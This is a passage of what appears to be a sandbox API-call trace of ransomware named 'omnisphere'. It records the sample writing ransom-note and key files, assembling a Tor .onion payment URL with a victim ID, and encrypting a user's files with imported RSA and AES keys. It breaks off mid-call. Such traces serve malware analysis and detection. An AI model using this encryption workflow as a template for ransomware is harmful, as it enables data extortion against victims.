lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuPx.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuPx.lnk.omnisphere.id" [0127.305] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuPx.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wupx.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.305] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.306] CloseHandle (hObject=0x3c0) returned 1 [0127.306] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.306] CloseHandle (hObject=0x288) returned 1 [0127.307] SetEndOfFile (hFile=0x28c) returned 1 [0127.307] FlushFileBuffers (hFile=0x28c) returned 1 [0127.309] CloseHandle (hObject=0x28c) returned 1 [0127.310] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\wuPx.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.310] GetProcessHeap () returned 0x1600000 [0127.310] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f20c0 [0127.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.310] GetProcessHeap () returned 0x1600000 [0127.310] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1b40 [0127.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1b40, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.310] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.310] GetProcessHeap () returned 0x1600000 [0127.310] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8528 [0127.310] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8528, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.310] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.310] GetProcessHeap () returned 0x1600000 [0127.310] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16da250 [0127.310] PathCombineW (in: pszDest=0x16da250, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.310] GetProcessHeap () returned 0x1600000 [0127.310] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e7da8 [0127.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.311] WriteFile (in: hFile=0x28c, lpBuffer=0x16e7da8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e7da8*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.311] CloseHandle (hObject=0x28c) returned 1 [0127.311] GetProcessHeap () returned 0x1600000 [0127.311] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f20c0 | out: hHeap=0x1600000) returned 1 [0127.311] GetProcessHeap () returned 0x1600000 [0127.311] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.311] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.312] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.312] CloseHandle (hObject=0x28c) returned 1 [0127.312] GetProcessHeap () returned 0x1600000 [0127.312] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.312] GetProcessHeap () returned 0x1600000 [0127.312] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b808 | out: hHeap=0x1600000) returned 1 [0127.312] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20204770, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20204770, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x20204770, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a6, dwReserved0=0x0, dwReserved1=0xd3, cFileName="ww91yWLQvtP12ZZP0G.ots.lnk", cAlternateFileName="WW91YW~1.LNK")) returned 1 [0127.312] GetProcessHeap () returned 0x1600000 [0127.312] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x166ab78 [0127.312] PathCombineW (in: pszDest=0x166ab78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="ww91yWLQvtP12ZZP0G.ots.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww91yWLQvtP12ZZP0G.ots.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww91yWLQvtP12ZZP0G.ots.lnk" [0127.312] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.312] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ww91yWLQvtP12ZZP0G.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ww91ywlqvtp12zzp0g.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.312] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1446) returned 1 [0127.313] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x82, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.313] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0127.313] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a6, lpName=0x0) returned 0x288 [0127.313] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.313] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.313] CloseHandle (hObject=0x288) returned 1 [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.313] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] GetTickCount () returned 0x115fc4e [0127.314] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669098) returned 1 [0127.315] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.315] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.315] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.315] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0127.315] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a6, lpName=0x0) returned 0x288 [0127.315] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a6) returned 0x1480000 [0127.315] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16689b0) returned 1 [0127.316] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.316] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.316] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.316] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.316] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.316] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.316] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.316] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.316] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.316] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.316] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.317] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.318] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.319] CryptEncrypt (in: hKey=0x1639b28, 